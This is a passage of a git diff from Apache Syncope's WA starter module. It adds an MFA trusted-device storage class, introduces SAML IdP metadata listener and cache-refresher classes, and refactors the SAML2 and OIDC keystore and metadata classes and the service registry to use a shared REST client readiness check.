Optional.ofNullable(conf.getZoneId()).ifPresent(accessStrategy::setZoneId); + + return accessStrategy; + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mfa/WAMultifactorAuthenticationTrustStorage.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mfa/WAMultifactorAuthenticationTrustStorage.java new file mode 100644 index 00000000000..084b6e084b2 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mfa/WAMultifactorAuthenticationTrustStorage.java @@ -0,0 +1,165 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mfa; + +import java.io.Serializable; +import java.time.ZoneId; +import java.time.ZonedDateTime; +import java.util.Date; +import java.util.HashSet; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.common.rest.api.beans.MfaTrustedDeviceQuery; +import org.apache.syncope.common.rest.api.service.wa.MfaTrustStorageService; +import org.apache.syncope.wa.bootstrap.WARestClient; +import org.apache.syncope.wa.starter.services.WAServiceRegistry; +import org.apereo.cas.configuration.model.support.mfa.trusteddevice.TrustedDevicesMultifactorProperties; +import org.apereo.cas.trusted.authentication.api.MultifactorAuthenticationTrustRecord; +import org.apereo.cas.trusted.authentication.api.MultifactorAuthenticationTrustRecordKeyGenerator; +import org.apereo.cas.trusted.authentication.storage.BaseMultifactorAuthenticationTrustStorage; +import org.apereo.cas.util.crypto.CipherExecutor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class WAMultifactorAuthenticationTrustStorage extends BaseMultifactorAuthenticationTrustStorage { + + private static final Logger LOG = LoggerFactory.getLogger(WAServiceRegistry.class); + + protected static final int PAGE_SIZE = 500; + + protected final WARestClient waRestClient; + + public WAMultifactorAuthenticationTrustStorage( + final TrustedDevicesMultifactorProperties trustedDevicesMultifactorProperties, + final CipherExecutor cipherExecutor, + final MultifactorAuthenticationTrustRecordKeyGenerator keyGenerationStrategy, + final WARestClient waRestClient) { + + super(trustedDevicesMultifactorProperties, cipherExecutor, keyGenerationStrategy); + this.waRestClient = waRestClient; + } + + @Override + protected MultifactorAuthenticationTrustRecord saveInternal(final MultifactorAuthenticationTrustRecord record) { + MfaTrustedDevice device = new MfaTrustedDevice(); + device.setRecordKey(record.getRecordKey()); + device.setId(record.getId()); + device.setName(record.getName()); + device.setDeviceFingerprint(record.getDeviceFingerprint()); + Optional.ofNullable(record.getExpirationDate()). + ifPresent(date -> device.setExpirationDate(date.toInstant().atZone(ZoneId.systemDefault()))); + device.setRecordDate(record.getRecordDate()); + + LOG.trace("Saving multifactor authentication trust record [{}]", device); + + waRestClient.getService(MfaTrustStorageService.class).create(record.getPrincipal(), device); + + return record; + } + + @Override + public void remove(final ZonedDateTime expirationDate) { + waRestClient.getService(MfaTrustStorageService.class).delete( + new MfaTrustedDeviceQuery.Builder().expirationDate(expirationDate.toOffsetDateTime()).build()); + } + + @Override + public void remove(final String recordKey) { + waRestClient.getService(MfaTrustStorageService.class).delete( + new MfaTrustedDeviceQuery.Builder().recordKey(recordKey).build()); + } + + protected MultifactorAuthenticationTrustRecord translate(final MfaTrustedDevice device) { + MultifactorAuthenticationTrustRecord record = new MultifactorAuthenticationTrustRecord(); + record.setRecordKey(device.getRecordKey()); + record.setId(device.getId()); + record.setName(device.getName()); + record.setDeviceFingerprint(device.getDeviceFingerprint()); + Optional.ofNullable(device.getExpirationDate()). + ifPresent(date -> record.setExpirationDate(Date.from(date.toInstant()))); + record.setRecordDate(device.getRecordDate()); + return record; + } + + @Override + public Set getAll() { + if (!waRestClient.isReady()) { + LOG.debug("Syncope client is not yet ready to fetch MFA trusted device records"); + return Set.of(); + } + + int count = waRestClient.getService(MfaTrustStorageService.class). + search(new MfaTrustedDeviceQuery.Builder().page(1).size(0).build()).getTotalCount(); + + Set result = new HashSet<>(); + + for (int page = 1; page <= (count / PAGE_SIZE) + 1; page++) { + waRestClient.getService(MfaTrustStorageService.class). + search(new MfaTrustedDeviceQuery.Builder().page(page).size(PAGE_SIZE). + orderBy("expirationDate").build()). + getResult().stream(). + map(this::translate). + forEach(result::add); + } + + return result; + } + + @Override + public Set get(final ZonedDateTime onOrAfterDate) { + if (!waRestClient.isReady()) { + LOG.debug("Syncope client is not yet ready to fetch MFA trusted device records"); + return Set.of(); + } + + return waRestClient.getService(MfaTrustStorageService.class). + search(new MfaTrustedDeviceQuery.Builder().recordDate(onOrAfterDate.toOffsetDateTime()).build()). + getResult().stream(). + map(this::translate). + collect(Collectors.toSet()); + } + + @Override + public Set get(final String principal) { + if (!waRestClient.isReady()) { + LOG.debug("Syncope client is not yet ready to fetch MFA trusted device records"); + return Set.of(); + } + + return waRestClient.getService(MfaTrustStorageService.class). + search(new MfaTrustedDeviceQuery.Builder().principal(principal).build()).getResult().stream(). + map(this::translate). + collect(Collectors.toSet()); + } + + @Override + public MultifactorAuthenticationTrustRecord get(final long id) { + if (!waRestClient.isReady()) { + LOG.debug("Syncope client is not yet ready to fetch MFA trusted device records"); + return null; + } + + return waRestClient.getService(MfaTrustStorageService.class). + search(new MfaTrustedDeviceQuery.Builder().id(id).build()).getResult().stream().findFirst(). + map(this::translate). + orElse(null); + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/oidc/WAOIDCJWKSGeneratorService.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/oidc/WAOIDCJWKSGeneratorService.java index bac970623d2..053e37d5413 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/oidc/WAOIDCJWKSGeneratorService.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/oidc/WAOIDCJWKSGeneratorService.java @@ -26,11 +26,13 @@ import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.rest.api.service.OIDCJWKSService; import org.apache.syncope.wa.bootstrap.WARestClient; +import org.apereo.cas.oidc.jwks.generator.OidcJsonWebKeystoreGeneratedEvent; import org.apereo.cas.oidc.jwks.generator.OidcJsonWebKeystoreGeneratorService; import org.jose4j.jwk.JsonWebKey; import org.jose4j.jwk.JsonWebKeySet; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.context.ApplicationContext; import org.springframework.core.io.ByteArrayResource; import org.springframework.core.io.Resource; @@ -46,24 +48,25 @@ public class WAOIDCJWKSGeneratorService implements OidcJsonWebKeystoreGeneratorS protected final int jwksKeySize; + protected final ApplicationContext applicationContext; + public WAOIDCJWKSGeneratorService( - final WARestClient restClient, + final WARestClient waRestClient, final String jwksKeyId, final String jwksType, - final int jwksKeySize) { + final int jwksKeySize, + final ApplicationContext applicationContext) { - this.waRestClient = restClient; + this.waRestClient = waRestClient; this.jwksKeyId = jwksKeyId; this.jwksType = jwksType; this.jwksKeySize = jwksKeySize; + this.applicationContext = applicationContext; } @Override public JsonWebKeySet store(final JsonWebKeySet jsonWebKeySet) throws Exception { - if (!WARestClient.isReady()) { - throw new IllegalStateException("Syncope core is not yet ready"); - } - OIDCJWKSService service = waRestClient.getSyncopeClient().getService(OIDCJWKSService.class); + OIDCJWKSService service = waRestClient.getService(OIDCJWKSService.class); OIDCJWKSTO to = new OIDCJWKSTO(); to.setJson(jsonWebKeySet.toJson(JsonWebKey.OutputControlLevel.INCLUDE_PRIVATE)); service.set(to); @@ -77,11 +80,7 @@ public Optional find() { @Override public Resource generate() { - if (!WARestClient.isReady()) { - throw new IllegalStateException("Syncope core is not yet ready"); - } - - OIDCJWKSService service = waRestClient.getSyncopeClient().getService(OIDCJWKSService.class); + OIDCJWKSService service = waRestClient.getService(OIDCJWKSService.class); OIDCJWKSTO jwksTO = null; try { jwksTO = service.get(); @@ -100,6 +99,9 @@ public Resource generate() { if (jwksTO == null) { throw new IllegalStateException("Unable to determine OIDC JWKS resource"); } - return new ByteArrayResource(jwksTO.getJson().getBytes(StandardCharsets.UTF_8), "OIDC JWKS"); + + Resource result = new ByteArrayResource(jwksTO.getJson().getBytes(StandardCharsets.UTF_8), "OIDC JWKS"); + applicationContext.publishEvent(new OidcJsonWebKeystoreGeneratedEvent(this, result)); + return result; } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGenerator.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGenerator.java index 3d071354d4f..a02327dab0b 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGenerator.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientKeystoreGenerator.java @@ -35,65 +35,67 @@ public class WASAML2ClientKeystoreGenerator extends BaseSAML2KeystoreGenerator { - private static final Logger LOG = LoggerFactory.getLogger(WASAML2ClientKeystoreGenerator.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASAML2ClientKeystoreGenerator.class); - private final WARestClient restClient; + protected final WARestClient waRestClient; - private final SAML2Client saml2Client; + protected final SAML2Client saml2Client; - WASAML2ClientKeystoreGenerator(final WARestClient restClient, final SAML2Client saml2Client) { + public WASAML2ClientKeystoreGenerator(final WARestClient waRestClient, final SAML2Client saml2Client) { super(saml2Client.getConfiguration()); - this.restClient = restClient; + this.waRestClient = waRestClient; this.saml2Client = saml2Client; } @Override public boolean shouldGenerate() { - return true; + try { + SAML2SPEntityTO spEntity = waRestClient.getService(SAML2SPEntityService.class).get(saml2Client.getName()); + return spEntity.getKeystore() == null; + } catch (Exception e) { + LOG.error("While attempting to read if keystore is available for SP Entity {}", saml2Client.getName(), e); + return true; + } } @Override protected void store(final KeyStore ks, final X509Certificate certificate, final PrivateKey privateKey) throws Exception { + String encodedKeystore; try (ByteArrayOutputStream out = new ByteArrayOutputStream()) { char[] password = saml2Configuration.getKeystorePassword().toCharArray(); ks.store(out, password); out.flush(); - String encodedKeystore = Base64.getEncoder().encodeToString(out.toByteArray()); + encodedKeystore = Base64.getEncoder().encodeToString(out.toByteArray()); LOG.debug("Encoded keystore {}", encodedKeystore); + } - SAML2SPEntityTO entityTO; - try { - entityTO = restClient.getSyncopeClient().getService(SAML2SPEntityService.class). - get(saml2Client.getName()); - entityTO.setKeystore(encodedKeystore); - } catch (Exception e) { - LOG.debug("SP Entity {} not found, creating new", saml2Client.getName(), e); - - entityTO = new SAML2SPEntityTO.Builder(). - key(saml2Client.getName()). - keystore(encodedKeystore). - build(); - } + SAML2SPEntityTO entityTO; + try { + entityTO = waRestClient.getService(SAML2SPEntityService.class).get(saml2Client.getName()); + entityTO.setKeystore(encodedKeystore); + } catch (Exception e) { + LOG.debug("SP Entity {} keystore not found, creating new", saml2Client.getName(), e); - LOG.debug("Storing SP Entity {}", entityTO); - restClient.getSyncopeClient().getService(SAML2SPEntityService.class).set(entityTO); + entityTO = new SAML2SPEntityTO.Builder().key(saml2Client.getName()).keystore(encodedKeystore).build(); } + + LOG.debug("Storing SP Entity {}", entityTO); + waRestClient.getService(SAML2SPEntityService.class).set(entityTO); } @Override public InputStream retrieve() throws Exception { try { - SAML2SPEntityTO spEntity = - restClient.getSyncopeClient().getService(SAML2SPEntityService.class).get(saml2Client.getName()); + SAML2SPEntityTO spEntity = waRestClient.getService(SAML2SPEntityService.class).get(saml2Client.getName()); LOG.debug("Retrieved keystore {}", spEntity.getKeystore()); return new ByteArrayInputStream(Base64.getDecoder().decode(spEntity.getKeystore())); - } catch (final Exception e) { + } catch (Exception e) { String message = "Unable to fetch SAML2 SP keystore for " + saml2Client.getName(); LOG.error(message, e); - throw new Exception(message); + throw new Exception(message, e); } } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGenerator.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGenerator.java index c4d1541edab..b28e02d7df7 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGenerator.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientMetadataGenerator.java @@ -33,20 +33,25 @@ public class WASAML2ClientMetadataGenerator extends BaseSAML2MetadataGenerator { - private static final Logger LOG = LoggerFactory.getLogger(WASAML2ClientMetadataGenerator.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASAML2ClientMetadataGenerator.class); - private final WARestClient restClient; + protected final WARestClient waRestClient; - private final SAML2Client saml2Client; + protected final SAML2Client saml2Client; - WASAML2ClientMetadataGenerator(final WARestClient restClient, final SAML2Client saml2Client) { - this.restClient = restClient; + public WASAML2ClientMetadataGenerator(final WARestClient waRestClient, final SAML2Client saml2Client) { + this.waRestClient = waRestClient; this.saml2Client = saml2Client; } + @Override + public boolean storeMetadata(final String metadata, final Resource resource, final boolean force) throws Exception { + return true; + } + @Override protected AbstractBatchMetadataResolver createMetadataResolver(final Resource metadataResource) { - return new WASAML2MetadataResolver(restClient, saml2Client); + return new WASAML2MetadataResolver(waRestClient, saml2Client); } @Override @@ -56,8 +61,7 @@ public MetadataResolver buildMetadataResolver(final Resource metadataResource) t SAML2SPEntityTO entityTO; try { - entityTO = restClient.getSyncopeClient().getService(SAML2SPEntityService.class). - get(saml2Client.getName()); + entityTO = waRestClient.getService(SAML2SPEntityService.class).get(saml2Client.getName()); entityTO.setMetadata(encodedMetadata); } catch (Exception e) { LOG.debug("SP Entity {} not found, creating new", saml2Client.getName(), e); @@ -69,13 +73,8 @@ public MetadataResolver buildMetadataResolver(final Resource metadataResource) t } LOG.debug("Storing SP Entity {}", entityTO); - restClient.getSyncopeClient().getService(SAML2SPEntityService.class).set(entityTO); + waRestClient.getService(SAML2SPEntityService.class).set(entityTO); return super.buildMetadataResolver(metadataResource); } - - @Override - public boolean storeMetadata(final String metadata, final Resource resource, final boolean force) throws Exception { - return true; - } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolver.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolver.java index d09321b5bbd..05a95a0fef2 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolver.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2MetadataResolver.java @@ -30,14 +30,14 @@ public class WASAML2MetadataResolver extends AbstractReloadingMetadataResolver { - private static final Logger LOG = LoggerFactory.getLogger(WASAML2MetadataResolver.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASAML2MetadataResolver.class); - private final WARestClient restClient; + protected final WARestClient waRestClient; - private final SAML2Client saml2Client; + protected final SAML2Client saml2Client; - WASAML2MetadataResolver(final WARestClient restClient, final SAML2Client saml2Client) { - this.restClient = restClient; + public WASAML2MetadataResolver(final WARestClient waRestClient, final SAML2Client saml2Client) { + this.waRestClient = waRestClient; this.saml2Client = saml2Client; } @@ -49,11 +49,10 @@ protected String getMetadataIdentifier() { @Override protected byte[] fetchMetadata() throws ResolverException { try { - SAML2SPEntityTO metadataTO = restClient.getSyncopeClient(). - getService(SAML2SPEntityService.class).get(saml2Client.getName()); + SAML2SPEntityTO metadataTO = waRestClient.getService(SAML2SPEntityService.class).get(saml2Client.getName()); return Base64.getDecoder().decode(metadataTO.getMetadata()); - } catch (final Exception e) { - final String message = "Unable to fetch SP metadata for " + saml2Client.getName(); + } catch (Exception e) { + String message = "Unable to fetch SP metadata for " + saml2Client.getName(); LOG.error(message, e); throw new ResolverException(message); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/WASamlIdPCasEventListener.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/WASamlIdPCasEventListener.java new file mode 100644 index 00000000000..da1bcaf72c8 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/WASamlIdPCasEventListener.java @@ -0,0 +1,31 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.saml.idp; + +import org.apereo.cas.support.saml.idp.SamlIdPCasEventListener; +import org.springframework.boot.context.event.ApplicationReadyEvent; + +public class WASamlIdPCasEventListener implements SamlIdPCasEventListener { + + @Override + public void handleApplicationReadyEvent(final ApplicationReadyEvent event) { + // skip generating IdP metadata at this stage, as + // org.apereo.cas.support.saml.idp.DefaultSamlIdPCasEventListener is doing + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataCacheRefresher.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataCacheRefresher.java new file mode 100644 index 00000000000..d34134653fc --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataCacheRefresher.java @@ -0,0 +1,45 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.saml.idp.metadata; + +import com.github.benmanes.caffeine.cache.Cache; +import org.apereo.cas.support.saml.services.idp.metadata.SamlIdPMetadataDocument; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.cloud.context.scope.refresh.RefreshScopeRefreshedEvent; +import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.Async; + +public class WASamlIdPMetadataCacheRefresher { + + protected static final Logger LOG = LoggerFactory.getLogger(WASamlIdPMetadataCacheRefresher.class); + + protected final Cache metadataCache; + + public WASamlIdPMetadataCacheRefresher(final Cache metadataCache) { + this.metadataCache = metadataCache; + } + + @EventListener(RefreshScopeRefreshedEvent.class) + @Async + public void onRefresh(final RefreshScopeRefreshedEvent event) { + LOG.info("Cleaning up SAML IdP cache"); + metadataCache.invalidateAll(); + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataGenerator.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataGenerator.java similarity index 78% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataGenerator.java rename to wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataGenerator.java index 0b8cdb6efcf..9bd161d7d6d 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataGenerator.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataGenerator.java @@ -22,7 +22,6 @@ import java.util.Base64; import java.util.Optional; import org.apache.commons.lang3.tuple.Pair; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.to.SAML2IdPEntityTO; import org.apache.syncope.common.rest.api.service.SAML2IdPEntityService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -33,18 +32,18 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public class RestfulSamlIdPMetadataGenerator extends BaseSamlIdPMetadataGenerator { +public class WASamlIdPMetadataGenerator extends BaseSamlIdPMetadataGenerator { - private static final Logger LOG = LoggerFactory.getLogger(RestfulSamlIdPMetadataGenerator.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASamlIdPMetadataGenerator.class); - private final WARestClient restClient; + protected final WARestClient waRestClient; - public RestfulSamlIdPMetadataGenerator( + public WASamlIdPMetadataGenerator( final SamlIdPMetadataGeneratorConfigurationContext samlIdPMetadataGeneratorConfigurationContext, - final WARestClient restClient) { + final WARestClient waRestClient) { super(samlIdPMetadataGeneratorConfigurationContext); - this.restClient = restClient; + this.waRestClient = waRestClient; } @Override @@ -52,9 +51,11 @@ protected SamlIdPMetadataDocument finalizeMetadataDocument( final SamlIdPMetadataDocument doc, final Optional registeredService) throws Exception { - LOG.info("Generating new SAML2 IdP metadata document"); + doc.setAppliesTo(registeredService. + map(SamlRegisteredService::getName). + orElse(SAML2IdPEntityService.DEFAULT_OWNER)); - doc.setAppliesTo(SAML2IdPEntityService.DEFAULT_OWNER); + LOG.info("Setting new SAML2 IdP metadata document for {}", doc.getAppliesTo()); SAML2IdPEntityTO entityTO = new SAML2IdPEntityTO.Builder(). key(doc.getAppliesTo()). @@ -77,30 +78,22 @@ protected SamlIdPMetadataDocument finalizeMetadataDocument( doc.getEncryptionCertificate().getBytes(StandardCharsets.UTF_8))); } - getSyncopeClient().getService(SAML2IdPEntityService.class).set(entityTO); + waRestClient.getService(SAML2IdPEntityService.class).set(entityTO); return doc; } @Override public Pair buildSelfSignedEncryptionCert(final Optional registeredService) - throws Exception { + throws Exception { return generateCertificateAndKey(); } @Override public Pair buildSelfSignedSigningCert(final Optional registeredService) - throws Exception { + throws Exception { return generateCertificateAndKey(); } - - private SyncopeClient getSyncopeClient() { - if (!WARestClient.isReady()) { - LOG.info("Syncope client is not yet ready"); - throw new IllegalStateException("Syncope core is not yet ready to access requests"); - } - return restClient.getSyncopeClient(); - } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataLocator.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataLocator.java similarity index 79% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataLocator.java rename to wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataLocator.java index b66b2cade8d..bc7d2c054f1 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/RestfulSamlIdPMetadataLocator.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/saml/idp/metadata/WASamlIdPMetadataLocator.java @@ -22,7 +22,6 @@ import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.Optional; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.SAML2IdPEntityTO; import org.apache.syncope.common.lib.types.ClientExceptionType; @@ -35,19 +34,38 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public class RestfulSamlIdPMetadataLocator extends AbstractSamlIdPMetadataLocator { +public class WASamlIdPMetadataLocator extends AbstractSamlIdPMetadataLocator { - private static final Logger LOG = LoggerFactory.getLogger(RestfulSamlIdPMetadataLocator.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASamlIdPMetadataLocator.class); - private final WARestClient restClient; + protected final WARestClient waRestClient; - public RestfulSamlIdPMetadataLocator( + public WASamlIdPMetadataLocator( final CipherExecutor metadataCipherExecutor, final Cache metadataCache, - final WARestClient restClient) { + final WARestClient waRestClient) { super(metadataCipherExecutor, metadataCache); - this.restClient = restClient; + this.waRestClient = waRestClient; + } + + protected SAML2IdPEntityTO fetchFromCore(final Optional registeredService) { + SAML2IdPEntityService idpEntityService = waRestClient.getService(SAML2IdPEntityService.class); + + SAML2IdPEntityTO result = null; + try { + result = idpEntityService.get(registeredService. + map(SamlRegisteredService::getName). + orElse(SAML2IdPEntityService.DEFAULT_OWNER)); + } catch (SyncopeClientException e) { + if (e.getType() == ClientExceptionType.NotFound && registeredService.isPresent()) { + result = idpEntityService.get(SAML2IdPEntityService.DEFAULT_OWNER); + } else { + throw e; + } + } + + return result; } @Override @@ -101,31 +119,4 @@ public SamlIdPMetadataDocument fetchInternal(final Optional registeredService) { - SAML2IdPEntityTO result = null; - - String appliesToFor = registeredService.map(SamlRegisteredService::getName). - orElse(SAML2IdPEntityService.DEFAULT_OWNER); - SAML2IdPEntityService service = getSyncopeClient().getService(SAML2IdPEntityService.class); - try { - result = service.get(appliesToFor); - } catch (SyncopeClientException e) { - if (e.getType() == ClientExceptionType.NotFound && registeredService.isPresent()) { - result = service.get(SAML2IdPEntityService.DEFAULT_OWNER); - } else { - throw e; - } - } - - return result; - } - - private SyncopeClient getSyncopeClient() { - if (!WARestClient.isReady()) { - LOG.info("Syncope client is not yet ready"); - throw new IllegalStateException("Syncope core is not yet ready to access requests"); - } - return restClient.getSyncopeClient(); - } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/services/WAServiceRegistry.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/services/WAServiceRegistry.java index 523be1164c9..efdcf0f752d 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/services/WAServiceRegistry.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/services/WAServiceRegistry.java @@ -20,8 +20,8 @@ import java.util.Collection; import java.util.List; +import java.util.Objects; import java.util.stream.Collectors; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.syncope.common.rest.api.service.wa.WAClientAppService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -39,9 +39,9 @@ public class WAServiceRegistry extends AbstractServiceRegistry { private static final Logger LOG = LoggerFactory.getLogger(WAServiceRegistry.class); - private final WARestClient waRestClient; + protected final WARestClient waRestClient; - private final RegisteredServiceMapper registeredServiceMapper; + protected final RegisteredServiceMapper registeredServiceMapper; public WAServiceRegistry( final WARestClient restClient, @@ -71,85 +71,81 @@ public void deleteAll() { @Override public Collection load() { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to fetch application definitions"); return List.of(); - } else { - LOG.info("Loading application definitions"); - return waRestClient.getSyncopeClient().getService(WAClientAppService.class).list().stream(). - map(registeredServiceMapper::toRegisteredService). - collect(Collectors.toList()); } + + LOG.info("Loading application definitions"); + return waRestClient.getService(WAClientAppService.class).list().stream(). + map(registeredServiceMapper::toRegisteredService). + filter(Objects::nonNull). + collect(Collectors.toList()); } @Override public RegisteredService findServiceById(final long id) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to fetch application definitions"); return null; - } else { - LOG.info("Searching for application definition by id {}", id); - return registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(id, null)); } + + LOG.info("Searching for application definition by id {}", id); + return registeredServiceMapper.toRegisteredService( + waRestClient.getService(WAClientAppService.class).read(id, null)); } - @Override @SuppressWarnings("unchecked") + @Override public T findServiceById(final long id, final Class clazz) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to fetch application definitions"); return null; - } else { - LOG.info("Searching for application definition by id {} and type {}", id, clazz); - if (clazz.isInstance(OidcRegisteredService.class)) { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(id, ClientAppType.OIDCRP)); - } else if (clazz.isInstance(SamlRegisteredService.class)) { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(id, ClientAppType.SAML2SP)); - } else { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(id, ClientAppType.CASSP)); - } } + + LOG.info("Searching for application definition by id {} and type {}", id, clazz); + if (clazz.isInstance(OidcRegisteredService.class)) { + return (T) registeredServiceMapper.toRegisteredService( + waRestClient.getService(WAClientAppService.class).read(id, ClientAppType.OIDCRP)); + } + if (clazz.isInstance(SamlRegisteredService.class)) { + return (T) registeredServiceMapper.toRegisteredService( + waRestClient.getService(WAClientAppService.class).read(id, ClientAppType.SAML2SP)); + } + return (T) registeredServiceMapper.toRegisteredService( + waRestClient.getService(WAClientAppService.class).read(id, ClientAppType.CASSP)); } - @Override @SuppressWarnings("unchecked") + @Override public T findServiceByExactServiceName(final String name, final Class clazz) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to fetch application definitions"); return null; - } else { - LOG.info("Searching for application definition by name {} and type {}", name, clazz); - if (clazz.isInstance(OidcRegisteredService.class)) { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(name, 